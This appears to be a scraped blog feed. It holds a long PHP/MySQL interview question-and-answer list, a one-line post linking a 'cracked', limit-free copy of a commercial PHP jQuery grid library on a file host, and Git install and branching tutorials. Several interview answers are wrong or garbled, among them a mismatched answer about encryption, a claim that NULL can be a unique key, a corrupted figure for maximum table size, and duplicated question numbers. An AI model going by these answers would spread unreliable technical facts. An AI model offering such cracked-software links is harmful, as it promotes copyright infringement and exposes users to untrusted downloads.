Answers : 19 All of those are open source resource. Security of Linux is very
very more than windows. Apache is a better server that IIS both in
functionality and security. MySQL is world most popular open source
database. PHP is more faster that asp or any other scripting language.

Questions : 20 How can we encrypt and decrypt a data present in a MySQL table
using MySQL?

Answers : 20 AES_ENCRYPT () and AES_DECRYPT ()

Questions : 21 How can we encrypt the username and password using PHP?

Answers : 21

The functions in this section perform encryption and decryption, and
compression and uncompression:

encryption	decryption
AES_ENCRYT()	AES_DECRYPT()
ENCODE()	DECODE()
DES_ENCRYPT()	DES_DECRYPT()
ENCRYPT()	Not available
MD5()	Not available
OLD_PASSWORD()	Not available
PASSWORD()	Not available
SHA() or SHA1()	Not available
Not available	UNCOMPRESSED_LENGTH()

Questions : 22 What are the features and advantages of object-oriented
programming?

Answers : 22 One of the main advantages of OO programming is its ease of
modification; objects can easily be modified and added to a system there
by reducing maintenance costs. OO programming is also considered to be
better at modeling the real world than is procedural programming. It
allows for more complicated and flexible interactions. OO systems are
also easier for non-technical personnel to understand and easier for
them to participate in the maintenance and enhancement of a system
because it appeals to natural human cognition patterns.
For some systems, an OO approach can speed development time since many
objects are standard across systems and can be reused. Components that
manage dates, shipping, shopping carts, etc. can be purchased and easily
modified for a specific system

Questions : 23 What are the differences between procedure-oriented languages and
object-oriented languages?

Answers : 23 There are lot of difference between procedure language and object oriented like below
1>Procedure language easy for new developer but complex to understand whole software as compare to object oriented model
2>In Procedure language it is difficult to use design pattern mvc , Singleton pattern etc but in OOP you we able to develop design pattern
3>IN OOP language we able to ree use code like Inheritance ,polymorphism etc but this type of thing not available in procedure language on that our Fonda use COPY and PASTE .

Questions : 24 What is the use of friend function?

Answers : 24 Sometimes a function is best shared among a number of different
classes. Such functions can be declared either as member functions of
one class or as global functions. In either case they can be set to be
friends of other classes, by using a friend specifier in the class that
is admitting them. Such functions can use all attributes of the class
which names them as a friend, as if they were themselves members of that
class.
A friend declaration is essentially a prototype for a member function,
but instead of requiring an implementation with the name of that class
attached by the double colon syntax, a global function or member
function of another class provides the match.

Questions : 25 What are the differences between public, private, protected,
static, transient, final and volatile?

Answer : 25 Public: Public declared items can be accessed everywhere.
Protected: Protected limits access to inherited and parent
classes (and to the class that defines the item).
Private: Private limits visibility only to the class that defines
the item.
Static: A static variable exists only in a local function scope,
but it does not lose its value when program execution leaves this scope.
Final: Final keyword prevents child classes from overriding a
method by prefixing the definition with final. If the class itself is
being defined final then it cannot be extended.
transient: A transient variable is a variable that may not
be serialized.
volatile: a variable that might be concurrently modified by multiple
threads should be declared volatile. Variables declared to be volatile
will not be optimized by the compiler because their value can change at
any time.

Questions : 26 What are the different types of errors in PHP?

Answer : 26 Three are three types of errors:1. Notices: These are trivial,
non-critical errors that PHP encounters while executing a script â€“ for
example, accessing a variable that has not yet been defined. By default,
such errors are not displayed to the user at all â€“ although, as you will
see, you can change this default behavior.2. Warnings: These are more serious errors â€“ for example, attempting
to include() a file which does not exist. By default, these errors are
displayed to the user, but they do not result in script termination.3. Fatal errors: These are critical errors â€“ for example,
instantiating an object of a non-existent class, or calling a
non-existent function. These errors cause the immediate termination of
the script, and PHP's default behavior is to display them to the user
when they take place.

Questions : 27 What is the functionality of the function strstr and stristr?

Answers : 27 strstr Returns part of string from the first occurrence of needle(sub string that we finding out ) to the end of string.
$email= 'sonialouder@gmail.com';
$domain = strstr($email, '@');
echo $domain; // prints @gmail.com
here @ is the needle
stristr is case-insensitive means able not able to diffrenciate between a and A

Questions : 28 What are the differences between PHP 3 and PHP 4 and PHP 5?

Answer : 28 There are lot of difference among these three version of php
1>Php3 is oldest version after that php4 came and current version is php5 (php5.3) where php6 have to come
2>Difference mean oldest version have less functionality as compare to new one like php5 have all OOPs concept now where as php3 was pure procedural language constructive like C
In PHP5 1. Implementation of exceptions and exception handling
2. Type hinting which allows you to force the type of a specific argument
3. Overloading of methods through the __call function
4. Full constructors and destructors etc through a __constuctor and __destructor function
5. __autoload function for dynamically including certain include files depending on the class you are trying to create.
6 Finality : can now use the final keyword to indicate that a method cannot be overridden by a child. You can also declare an entire class as final which prevents it from having any children at all.
7 Interfaces & Abstract Classes
8 Passed by Reference :
9 An __clone method if you really want to duplicate an object

Questions : 29 How can we convert asp pages to PHP pages?

Answer : 29 there are lots of tools available for asp to PHP conversion. you can
search Google for that. the best one is available at

Questions : 30 What is the functionality of the function htmlentities?

Answer : 30 Convert all applicable characters to HTML entities
This function is identical to htmlspecialchars() in all ways, except
with htmlentities(), all characters which have HTML character entity
equivalents are translated into these entities.

Questions : 31 How can we get second of the current time using date function?

Answer : 31 $second = date("s");

Questions : 32 How can we convert the time zones using PHP?

Answer : 32

By using date_default_timezone_get and date_default_timezone_set function on PHP 5.1.0

', date(DATE_RFC1123, $stamp) ,'
';?>

Questions : 33 What is meant by urlencode and urldocode?

Answer : 33

URLencode returns a string in which all non-alphanumeric characters
except -_. have been replaced with a percent (%)
sign followed by two hex digits and spaces encoded as plus (+)
signs. It is encoded the same way that the posted data from a WWW form
is encoded, that is the same way as in application/x-www-form-urlencoded media type.

urldecode decodes any %##
encoding in the given string.

Questions : 34 What is the difference between the functions unlink and unset?

Answer : 34 unlink() deletes the given file from the file system.
unset() makes a variable undefined.

Questions : 35 How can we register the variables into a session?

Answer : 35 $_SESSION['name'] = "sonia";

Questions : 36 How can we get the properties (size, type, width, height) of an
image using PHP image functions?

Answer : 36 To know the Image type use exif_imagetype () function
To know the Image size use getimagesize () function
To know the image width use imagesx () function
To know the image height use imagesy() function t

Questions : 37 How can we get the browser properties using PHP?

Answer : 37 By using $_SERVER['HTTP_USER_AGENT'] variable.

Questions : 38 What is the maximum size of a file that can be uploaded using PHP
and how can we change this?

Answer : 38 By default the maximum size is 2MB. and we can change the following
setup at php.iniupload_max_filesize = 2M

Questions : 39 How can we increase the execution time of a PHP script?

Answer : 39 by changing the following setup at php.inimax_execution_time = 30
; Maximum execution time of each script, in seconds

Questions : 40 How can we take a backup of a MySQL table and how can we restore
it. ?

Answer : 40 To backup: BACKUP TABLE tbl_name[,tbl_nameâ€¦] TO
'/path/to/backup/directory'
RESTORE TABLE tbl_name[,tbl_nameâ€¦] FROM '/path/to/backup/directory'mysqldump: Dumping Table Structure and DataUtility to dump a database or a collection of database for backup or
for transferring the data to another SQL server (not necessarily a MySQL
server). The dump will contain SQL statements to create the table and/or
populate the table.
-t, â€“no-create-info
Don't write table creation information (the CREATE TABLE statement).
-d, â€“no-data
Don't write any row information for the table. This is very useful if
you just want to get a dump of the structure for a table!

Questions : 41 How can we optimize or increase the speed of a MySQL select
query?

Answer : 41

first of all instead of using select * from table1, use select
column1, column2, column3.. from table1
Look for the opportunity to introduce index in the table you are
querying.
use limit keyword if you are looking for any specific number of
rows from the result set.

Questions : 42 How many ways can we get the value of current session id?

Answer : 42 session_id() returns the session id for the current session.

Questions : 43 How can we destroy the session, how can we unset the variable of
a session?

Answer : 43 session_unregister â€” Unregister a global variable from the current
session
session_unset â€” Free all session variables

Questions : 44 How can we set and destroy the cookie n php?

Answer : 44 By using setcookie(name, value, expire, path, domain); function we can set the cookie in php ;
Set the cookies in past for destroy. like
setcookie("user", "sonia", time()+3600); for set the cookie
setcookie("user", "", time()-3600); for destroy or delete the cookies;

Questions : 45 How many ways we can pass the variable through the navigation
between the pages?

Answer : 45

GET/QueryString
POST

Questions : 46 What is the difference between ereg_replace() and eregi_replace()?

Answer : 46 eregi_replace() function is identical to ereg_replace() except that
this ignores case distinction when matching alphabetic
characters.eregi_replace() function is identical to ereg_replace()
except that this ignores case distinction when matching alphabetic
characters.

Questions : 47 What are the different functions in sorting an array?

Answer : 47 Sort(), arsort(),
asort(), ksort(),
natsort(), natcasesort(),
rsort(), usort(),
array_multisort(), and
uksort().

Questions : 48 How can we know the count/number of elements of an array?

Answer : 48 2 ways
a) sizeof($urarray) This function is an alias of count()
b) count($urarray)

Questions : 49 what is session_set_save_handler in PHP?

Answer : 49 session_set_save_handler() sets the user-level session storage functions which are used for storing and retrieving data associated with a session. This is most useful when a storage method other than those supplied by PHP sessions is preferred. i.e. Storing the session data in a local database.

Questions : 50 How can I know that a variable is a number or not using a
JavaScript?

Answer : 50 bool is_numeric ( mixed var)
Returns TRUE if var is a number or a numeric string, FALSE otherwise.or use isNaN(mixed var)The isNaN() function is used to check if a value is not a number.

Questions : 51 List out some tools through which we can draw E-R diagrams for
mysql.

Answer : 51 Case Studio
Smart Draw

Questions : 52 How can I retrieve values from one database server and store them
in other database server using PHP?

Answer : 52 we can always fetch from one database and rewrite to another. here
is a nice solution of it.$db1 = mysql_connect("host","user","pwd")
mysql_select_db("db1", $db1);
$res1 = mysql_query("query",$db1);$db2 = mysql_connect("host","user","pwd")
mysql_select_db("db2", $db2);
$res2 = mysql_query("query",$db2);At this point you can only fetch records from you previous ResultSet,
i.e $res1 â€“ But you cannot execute new query in $db1, even if you
supply the link as because the link was overwritten by the new db.so at this point the following script will fail
$res3 = mysql_query("query",$db1); //this will failSo how to solve that? take a look below.
$db1 = mysql_connect("host","user","pwd")
mysql_select_db("db1", $db1);
$res1 = mysql_query("query",$db1);
$db2 = mysql_connect("host","user","pwd", true)
mysql_select_db("db2", $db2);
$res2 = mysql_query("query",$db2);
So mysql_connect has another optional boolean parameter which
indicates whether a link will be created or not. as we connect to the
$db2 with this optional parameter set to 'true', so both link will
remain live.
now the following query will execute successfully.
$res3 = mysql_query("query",$db1);

Questions : 53 List out the predefined classes in PHP?

Answer : 53 Directory
stdClass
__PHP_Incomplete_Class
exception
php_user_filter

Questions : 54 How can I make a script that can be bi-language (supports
English, German)?

Answer : 54 You can maintain two separate language file for each of the
language. all the labels are putted in both language files as variables
and assign those variables in the PHP source. on runtime choose the
required language option.

Questions : 55 What are the difference between abstract class and interface?

Answer : 55 Abstract class: abstract classes are the class where one or more
methods are abstract but not necessarily all method has to be abstract.
Abstract methods are the methods, which are declare in its class but not
define. The definition of those methods must be in its extending class.Interface: Interfaces are one type of class where all the methods are
abstract. That means all the methods only declared but not defined. All
the methods must be define by its implemented class.

Questions : 56 How can we send mail using JavaScript?

Answer : 56 JavaScript does not have any networking capabilities as it is
designed to work on client site. As a result we can not send mails using
JavaScript. But we can call the client side mail protocol mailto
via JavaScript to prompt for an email to send. this requires the client
to approve it.

Questions : 57 How can we repair a MySQL table?

Answer : 57 The syntex for repairing a MySQL table is
REPAIR TABLENAME, [TABLENAME, ], [Quick],[Extended]
This command will repair the table specified if the quick is given the
MySQL will do a repair of only the index tree if the extended is given
it will create index row by row

Questions : 58 What are the advantages of stored procedures, triggers, indexes?

Answer : 58 A stored procedure is a set of SQL commands that can be compiled and
stored in the server. Once this has been done, clients don't need to
keep re-issuing the entire query but can refer to the stored procedure.
This provides better overall performance because the query has to be
parsed only once, and less information needs to be sent between the
server and the client. You can also raise the conceptual level by having
libraries of functions in the server. However, stored procedures of
course do increase the load on the database server system, as more of
the work is done on the server side and less on the client (application)
side.Triggers will also be implemented. A trigger is effectively a type of
stored procedure, one that is invoked when a particular event occurs.
For example, you can install a stored procedure that is triggered each
time a record is deleted from a transaction table and that stored
procedure automatically deletes the corresponding customer from a
customer table when all his transactions are deleted.Indexes are used to find rows with specific column values quickly.
Without an index, MySQL must begin with the first row and then read
through the entire table to find the relevant rows. The larger the
table, the more this costs. If the table has an index for the columns in
question, MySQL can quickly determine the position to seek to in the
middle of the data file without having to look at all the data. If a
table has 1,000 rows, this is at least 100 times faster than reading
sequentially. If you need to access most of the rows, it is faster to
read sequentially, because this minimizes disk seeks.

Questions : 59 What is the maximum length of a table name, database name, and
fieldname in MySQL?

Answer : 59

The following table describes the maximum length for each type of
identifier.

Identifier	Maximum Length (bytes)
Database	64
Table	64
Column	64
Index	64
Alias	255

There are some restrictions on the characters that may appear in
identifiers:

Questions : 60 How many values can the SET function of MySQL take?

Answer : 60 MySQL set can take zero or more values but at the maximum it can
take 64 values

Questions : 61 What are the other commands to know the structure of table using
MySQL commands except explain command?

Answer : 61 describe Table-Name;

Questions : 62 How many tables will create when we create table, what are they?

Answer : 62 The '.frm' file stores the table definition.
The data file has a '.MYD' (MYData) extension.
The index file has a '.MYI' (MYIndex) extension,

Questions : 63 What is the purpose of the following files having extensions 1) .frm
2) .myd 3) .myi? What do these files contain?

Answer : 63 In MySql, the default table type is MyISAM.
Each MyISAM table is stored on disk in three files. The files have names
that begin with the table name and have an extension to indicate the
file type.
The '.frm' file stores the table definition.
The data file has a '.MYD' (MYData) extension.
The index file has a '.MYI' (MYIndex) extension,

Questions : 64 What is maximum size of a database in MySQL?

Answer : 64 If the operating system or filesystem places a limit on the number
of files in a directory, MySQL is bound by that constraint.The efficiency of the operating system in handling large numbers of
files in a directory can place a practical limit on the number of tables
in a database. If the time required to open a file in the directory
increases significantly as the number of files increases, database
performance can be adversely affected.
The amount of available disk space limits the number of tables.
MySQL 3.22 had a 4GB (4 gigabyte) limit on table size. With the MyISAM
storage engine in MySQL 3.23, the maximum table size was increased to
80536 terabytes (2567 â€“ 1 bytes). With this larger allowed table size,
the maximum effective table size for MySQL databases is usually
determined by operating system constraints on file sizes, not by MySQL
internal limits.The InnoDB storage engine maintains InnoDB tables within a tablespace
that can be created from several files. This allows a table to exceed
the maximum individual file size. The tablespace can include raw disk
partitions, which allows extremely large tables. The maximum tablespace
size is 64TB.
The following table lists some examples of operating system file-size
limits. This is only a rough guide and is not intended to be definitive.
For the most up-to-date information, be sure to check the documentation
specific to your operating system.
Operating System File-size LimitLinux 2.2-Intel 32-bit 2GB (LFS: 4GB)
Linux 2.4+ (using ext3 filesystem) 4TB
Solaris 9/10 16TB
NetWare w/NSS filesystem 8TB
Win32 w/ FAT/FAT32 2GB/4GB
Win32 w/ NTFS 2TB (possibly larger)
MacOS X w/ HFS+ 2TB

Questions : 80 Give the syntax of Grant and Revoke commands?

Answer : 80 The generic syntax for grant is as following
> GRANT [rights] on [database/s] TO [username@hostname] IDENTIFIED BY
[password]
now rights can be
a) All privileges
b) combination of create, drop, select, insert, update and delete etc.We can grant rights on all databse by using *.* or some specific
database by database.* or a specific table by database.table_name
username@hotsname can be either username@localhost, username@hostname
and username@%
where hostname is any valid hostname and % represents any name, the *.*
any condition
password is simply the password of userThe generic syntax for revoke is as following
> REVOKE [rights] on [database/s] FROM [username@hostname]
now rights can be as explained above
a) All privileges
b) combination of create, drop, select, insert, update and delete etc.
username@hotsname can be either username@localhost, username@hostname
and username@%
where hostname is any valid hostname and % represents any name, the *.*
any condition

Questions : 66 Explain Normalization concept?

Answer : 66 The normalization process involves getting our data to conform to
three progressive normal forms, and a higher level of normalization
cannot be achieved until the previous levels have been achieved (there
are actually five normal forms, but the last two are mainly academic and
will not be discussed).First Normal FormThe First Normal Form (or 1NF) involves removal of redundant data
from horizontal rows. We want to ensure that there is no duplication of
data in a given row, and that every column stores the least amount of
information possible (making the field atomic).Second Normal FormWhere the First Normal Form deals with redundancy of data across a
horizontal row, Second Normal Form (or 2NF) deals with redundancy of
data in vertical columns. As stated earlier, the normal forms are
progressive, so to achieve Second Normal Form, your tables must already
be in First Normal Form.Third Normal Form I have a confession to make; I do not often use Third Normal Form. In
Third Normal Form we are looking for data in our tables that is not
fully dependant on the primary key, but dependant on another value in
the table

Questions : 67 How can we find the number of rows in a table using MySQL?

Answer : 67 Use this for mysql
>SELECT COUNT(*) FROM table_name;

Questions : 68 How can we find the number of rows in a result set using PHP?

Answer : 68 $result = mysql_query($sql, $db_link); $num_rows = mysql_num_rows($result); echo "$num_rows rows found";

Questions : 69 How many ways we can we find the current date using MySQL?

Answer : 69 SELECT CURDATE();
CURRENT_DATE() = CURDATE()
for time use
SELECT CURTIME();
CURRENT_TIME() = CURTIME()

Questions : 70 What are the advantages and disadvantages of Cascading Style
Sheets?

Answer : 70 External Style SheetsAdvantagesCan control styles for multiple documents at once. Classes can be
created for use on multiple HTML element types in many documents.
Selector and grouping methods can be used to apply styles under complex
contextsDisadvantagesAn extra download is required to import style information for each
document The rendering of the document may be delayed until the external
style sheet is loaded Becomes slightly unwieldy for small quantities of
style definitionsEmbedded Style Sheets Advantages
Classes can be created for use on multiple tag types in the document.
Selector and grouping methods can be used to apply styles under complex
contexts. No additional downloads necessary to receive style information
Disadvantages
This method can not control styles for multiple documents at once
Inline Styles
Advantages
Useful for small quantities of style definitions. Can override other
style specification methods at the local level so only exceptions need
to be listed in conjunction with other style methods
Disadvantages
Does not distance style information from content (a main goal of
SGML/HTML). Can not control styles for multiple documents at once.
Author can not create or control classes of elements to control multiple
element types within the document. Selector grouping methods can not be
used to create complex element addressing scenarios

Questions : 71 What type of inheritance that PHP supports?

Answer : 71 In PHP an extended class is always dependent on a single base class,
that is, multiple inheritance is not supported. Classes are extended
using the keyword 'extends'.

Questions : 72 What is the difference between Primary Key and
Unique key?

Answer : 72 Primary Key: A column in a table whose values uniquely identify the
rows in the table. A primary key value cannot be NULL. Unique Key: Unique Keys are used to uniquely identify each row in the
table. There can be one and only one row for each unique key value. So
NULL can be a unique key.There can be only one primary key for a table but there can be more
than one unique for a table.

Question : 73 what is garbage collection? default time ? refresh time?

Answer : 73 Garbage Collection is an automated part of PHP , If the Garbage Collection process runs, it then analyzes any files in the /tmp for any session files that have not been accessed in a certain amount of time and physically deletes them. Garbage Collection process only runs in the default session save directory, which is /tmp. If you opt to save your sessions in a different directory, the Garbage Collection process will ignore it. the Garbage Collection process does not differentiate between which sessions belong to whom when run. This is especially important note on shared web servers. If the process is run, it deletes ALL files that have not been accessed in the directory. There are 3 PHP.ini variables, which deal with the garbage collector: PHP ini value name default session.gc_maxlifetime 1440 seconds or 24 minutes session.gc_probability 1 session.gc_divisor 100

Questions : 74 What are the advantages/disadvantages of MySQL and PHP?

Answer : 74 Both of them are open source software (so free of cost), support
cross platform. php is faster then ASP and JSP.

Questions : 80 What is the difference between GROUP BY and ORDER BY in Sql?

Answer : 80 ORDER BY [col1],[col2],â€¦,[coln]; Tels DBMS according to what columns
it should sort the result. If two rows will hawe the same value in col1
it will try to sort them according to col2 and so on.GROUP BY
[col1],[col2],â€¦,[coln]; Tels DBMS to group results with same value of
column col1. You can use COUNT(col1), SUM(col1), AVG(col1) with it, if
you want to count all items in group, sum all values or view average

Questions : 76 What is the difference between char and varchar data types?

Answer : 76 Set char to occupy n bytes and it will take n bytes even if u r
storing a value of n-m bytes
Set varchar to occupy n bytes and it will take only the required space
and will not use the n bytes
eg. name char(15) will waste 10 bytes if we store 'romharshan', if each char
takes a byte
eg. name varchar(15) will just use 5 bytes if we store 'romharshan', if each
char takes a byte. rest 10 bytes will be free.

Questions : 77 What is the functionality of md5 function in PHP?

Answer : 77 Calculate the md5 hash of a string. The hash is a 32-character
hexadecimal number. I use it to generate keys which I use to identify
users etc. If I add random no techniques to it the md5 generated now
will be totally different for the same string I am using.

Questions : 78 How can I load data from a text file into a table?

Answer : 78 you can use LOAD DATA INFILE file_name; syntax to load data
from a text file. but you have to make sure thata) data is delimited
b) columns and data matched correctly

Questions : 79 How can we know the number of days between two given dates using
MySQL?

Answer : 79 SELECT DATEDIFF("2007-03-07","2005-01-01");

Questions : 80 How can we know the number of days between two given dates using PHP?

Answer : 80 $date1 = date("Y-m-d");
$date2 = "2006-08-15";
$days = (strtotime($date1) - strtotime($date2)) / (60 * 60 * 24);

Questions : 81 How we load all classes that placed in different directory in one PHP File , means how to do auto load classes

Answer : 81 by using spl_autoload_register('autoloader::funtion');
Like below
class autoloader
{
public static function moduleautoloader($class)
{
$path = $_SERVER['DOCUMENT_ROOT'] . "/modules/{$class}.php";
if (is_readable($path)) require $path;
}
public static function daoautoloader($class)
{
$path = $_SERVER['DOCUMENT_ROOT'] . "/dataobjects/{$class}.php";
if (is_readable($path)) require $path;
}
public static function includesautoloader($class)
{
$path = $_SERVER['DOCUMENT_ROOT'] . "/includes/{$class}.php";
if (is_readable($path)) require $path;
}
}
spl_autoload_register('autoloader::includesautoloader');
spl_autoload_register('autoloader::daoautoloader');
spl_autoload_register('autoloader::moduleautoloader');

Questions : 82 How many types of Inheritances used in PHP and how we achieve it

Answer : 82 As far PHP concern it only support single Inheritance in scripting.
we can also use interface to achieve multiple inheritance.

Questions : 83 PHP how to know user has read the email?

Answers : 83 Using Disposition-Notification-To: in mailheader we can get read receipt.
Add the possibility to define a read receipt when sending an email.
Itâ€™s quite straightforward, just edit email.php, and add this at vars definitions:
var $readReceipt = null;
And then, at â€˜createHeaderâ€™ function add:
if (!empty($this->readReceipt)) {
$this->__header .= â€˜Disposition-Notification-To: â€˜ . $this->__formatAddress($this->readReceipt) . $this->_newLine;
}

Questions : 84 What are default session time and path?

Answers : 84 default session time in PHP is 1440 seconds or 24 minutes
Default session save path id temporary folder /tmp

Questions : 85 how to track user logged out or not? when user is idle ?

Answers : 85 By checking the session variable exist or not while loading th page. As the session will exist longer as till browser closes. The default behaviour for sessions is to keep a session open indefinitely and only to expire a session when the browser is closed. This behaviour can be changed in the php.ini file by altering the line session.cookie_lifetime = 0 to a value in seconds. If you wanted the session to finish in 5 minutes you would set this to session.cookie_lifetime = 300 and restart your httpd server.

Questions : 86 how to track no of user logged in ?

Answers : 86 whenever a user logs in track the IP, userID etc..and store it in a DB with a active flag while log out or sesion expire make it inactive. At any time by counting the no: of active records we can get the no: of visitors.

Questions : 87 in PHP for pdf which library used?

Answers : 87 The PDF functions in PHP can create PDF files using the PDFlib library With version 6, PDFlib offers an object-oriented API for PHP 5 in addition to the function-oriented API for PHP 4. There is also the Â» Panda module. FPDF is a PHP class which allows to generate PDF files with pure PHP, that is to say without using the PDFlib library. F from FPDF stands for Free: you may use it for any kind of usage and modify it to suit your needs. FPDF requires no extension (except zlib to activate compression and GD for GIF support) and works with PHP4 and PHP5.

Questions : 88 for image work which library?

Answers : 88 we will need to compile PHP with the GD library of image functions for this to work. GD and PHP may also require other libraries, depending on which image formats you want to work with.

Questions : 89 what is design pattern? singleton pattern?

Answers : 89 A design pattern is a general reusable solution to a commonly occurring problem in software design.
The Singleton design pattern allows many parts of a program to share a single resource without having to work out the details of the sharing themselves.

Questions : 90 what are magic methods?

Answers : 90 Magic methods are the members functions that is available to all the instance of class Magic methods always starts with "__". Eg. __construct All magic methods needs to be declared as public To use magic method they should be defined within the class or program scope Various Magic Methods used in PHP 5 are: __construct() __destruct() __set() __get() __call() __toString() __sleep() __wakeup() __isset() __unset() __autoload() __clone()

Questions : 91 what is magic quotes?

Answers : 91 Magic Quotes is a process that automagically escapes ncoming data to the PHP script. Itâ€™s preferred to code with magic quotes off and to instead escape the data at runtime, as needed. This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged.

Questions : 92 what is cross site scripting? SQL injection?

Answers : 92 Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts. SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed

Questions : 93 what is URL rewriting?

Answers : 93 Using URL rewriting we can convert dynamic URl to static URL Static URLs are known to be better than Dynamic URLs because of a number of reasons 1. Static URLs typically Rank better in Search Engines. 2. Search Engines are known to index the content of dynamic pages a lot slower compared to static pages. 3. Static URLs are always more friendlier looking to the End Users. along with this we can use URL rewriting in adding variables [cookies] to the URL to handle the sessions.

Questions : 94 what is the major php security hole? how to avoid?

Answers : 94 1. Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first.
2. Be careful with eval() Placing user-inputted values into the eval() function can be extremely dangerous. You essentially give the malicious user the ability to execute any command he or she wishes!
3. Be careful when using register_globals = ON It was originally designed to make programming in PHP easier (and that it did), but misuse of it often led to security holes
4. Never run unescaped queries
5. For protected areas, use sessions or validate the login every time.
6. If you donâ€™t want the file contents to be seen, give the file a .php extension.

Questions : 95 whether PHP supports Microsoft SQL server ?

Answers : 95 The SQL Server Driver for PHP v1.0 is designed to enable reliable, scalable integration with SQL Server for PHP applications deployed on the Windows platform. The Driver for PHP is a PHP 5 extension that allows the reading and writing of SQL Server data from within PHP scripts. using MSSQL or ODBC modules we can access Microsoft SQL server.

Questions : 96 what is MVC? why its been used?

Answers : 96 Model-view-controller (MVC) is an architectural pattern used in software engineering. Successful use of the pattern isolates business logic from user interface considerations, resulting in an application where it is easier to modify either the visual appearance of the application or the underlying business rules without affecting the other. In MVC, the model represents the information (the data) of the application; the view corresponds to elements of the user interface such as text, checkbox items, and so forth; and the controller manages the communication of data and the business rules used to manipulate the data to and from the model. WHY ITS NEEDED IS 1 Modular separation of function 2 Easier to maintain 3 View-Controller separation means:
A â€” Tweaking design (HTML) without altering code B â€” Web design staff can modify UI without understanding code

Questions : 97 what is framework? how it works? what is advantage?

Answers : 97 In general, a framework is a real or conceptual structure intended to serve as a support or guide for the building of something that expands the structure into something useful. Advantages : Consistent Programming Model Direct Support for Security Simplified Development Efforts Easy Application Deployment and Maintenance

Questions : 98 what is CURL?

Answers : 98 CURL means Client URL Library
curl is a command line tool for transferring files with URL syntax, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, kerberosâ€¦), file transfer resume, proxy tunneling and a busload of other useful tricks.
CURL allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHPâ€™s ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

Questions : 99 what is PDO ?

Answers : 99 The PDO ( PHP Data Objects ) extension defines a lightweight, consistent interface for accessing databases in PHP. if you are using the PDO API, you could switch the database server you used, from say PgSQL to MySQL, and only need to make minor changes to your PHP code.
While PDO has its advantages, such as a clean, simple, portable API but its main disadvantage is that it doesn't allow you to use all of the advanced features that are available in the latest versions of MySQL server. For example, PDO does not allow you to use MySQL's support for Multiple Statements.
Just need to use below code for connect mysql using PDO
try {
$dbh = new PDO("mysql:host=$hostname;dbname=databasename", $username, $password);
$sql = "SELECT * FROM employee";
foreach ($dbh->query($sql) as $row)
{
print $row['employee_name'] .' - '. $row['employee_age'] ;
}
}
catch(PDOException $e)
{
echo $e->getMessage();
}

Questions : 100 What is PHP's mysqli Extension?

Answers : 100 The mysqli extension, or as it is sometimes known, the MySQL improved extension, was developed to take advantage of new features found in MySQL systems versions 4.1.3 and newer. The mysqli extension is included with PHP versions 5 and later.
The mysqli extension has a number of benefits, the key enhancements over the mysql extension being:
=>Object-oriented interface
=>Support for Prepared Statements
=>Support for Multiple Statements
=>Support for Transactions
=>Enhanced debugging capabilities
=>Embedded server support

cracked php jquerygrid

2012-02-26T10:25:00.000-08:00

this is link for php jquerygrid with no limit at all

http://www.mediafire.com/?ann0aaog328xryz

Installing Git

2012-02-26T09:59:00.001-08:00

Installing from Source

In short, on a Unix-based system, you can download the Git source code from the Git Download Page, and then run something along the lines of :

$ make prefix=/usr all ;# as yourself
$ make prefix=/usr install ;# as root

You will need the expat, curl, zlib, and openssl libraries installed - though with the possible exception of expat, these will normally already be there.

Linux

If you are running Linux, you can likely install Git easily via your native package management system:

$ yum install git-core

$ apt-get install git-core

If that doesn't work, you can download the .deb or .rpm packages from here:
RPM Packages
Stable Debs
If you prefer to install from source on a Linux system, this article may be helpful:
Article: Installing Git on Ubuntu

Mac 10.4

In both Mac 10.4 and 10.5, you can install Git via MacPorts, if you have that installed. If not, you can install it from here.
Once MacPorts is installed, all you should have to do is:

$ sudo port install git-core

If you prefer to install from source, these articles may be helpful:
Article: Installing Git on Tiger
Article: Installing Git and git-svn on Tiger from source

Mac 10.5

With Leopard, you can also install via MacPorts, but here you have the additional option of using a nice installer, which you can download from here: Git OSX Installer
If you prefer to install it from source, these guides may be particularly helpful to you :
Article: Installing Git on OSX Leopard
Article: Installing Git on OS 10.5

Windows

On Windows, installing Git is pretty easy. Simply download and install the msysGit package.
See the Git on Windows chapter for a screencast demonstrating installing and using Git on Windows.

Basic Branching and Merging

2012-02-26T09:53:00.002-08:00

A single git repository can maintain multiple branches of development. To create a new branch named "experimental", use

$ git branch experimental

If you now run

$ git branch

you'll get a list of all existing branches:

  experimental
* master

The "experimental" branch is the one you just created, and the "master" branch is a default branch that was created for you automatically. The asterisk marks the branch you are currently on; type

$ git checkout experimental

to switch to the experimental branch. Now edit a file, commit the change, and switch back to the master branch:

(edit file)
$ git commit -a
$ git checkout master

Check that the change you made is no longer visible, since it was made on the experimental branch and you're back on the master branch.
You can make a different change on the master branch:

(edit file)
$ git commit -a

at this point the two branches have diverged, with different changes made in each. To merge the changes made in experimental into master, run

$ git merge experimental

If the changes don't conflict, you're done. If there are conflicts, markers will be left in the problematic files showing the conflict;

$ git diff

will show this. Once you've edited the files to resolve the conflicts,

$ git commit -a

will commit the result of the merge. Finally,

$ gitk

will show a nice graphical representation of the resulting history.
At this point you could delete the experimental branch with

$ git branch -d experimental

This command ensures that the changes in the experimental branch are already in the current branch.
If you develop on a branch crazy-idea, then regret it, you can always delete the branch with

$ git branch -D crazy-idea

Branches are cheap and easy, so this is a good way to try something out.

How to merge

You can rejoin two diverging branches of development using git merge:

$ git merge branchname

merges the changes made in the branch "branchname" into the current branch. If there are conflicts--for example, if the same file is modified in two different ways in the remote branch and the local branch--then you are warned; the output may look something like this:

$ git merge next
 100% (4/4) done
Auto-merged file.txt
CONFLICT (content): Merge conflict in file.txt
Automatic merge failed; fix conflicts and then commit the result.

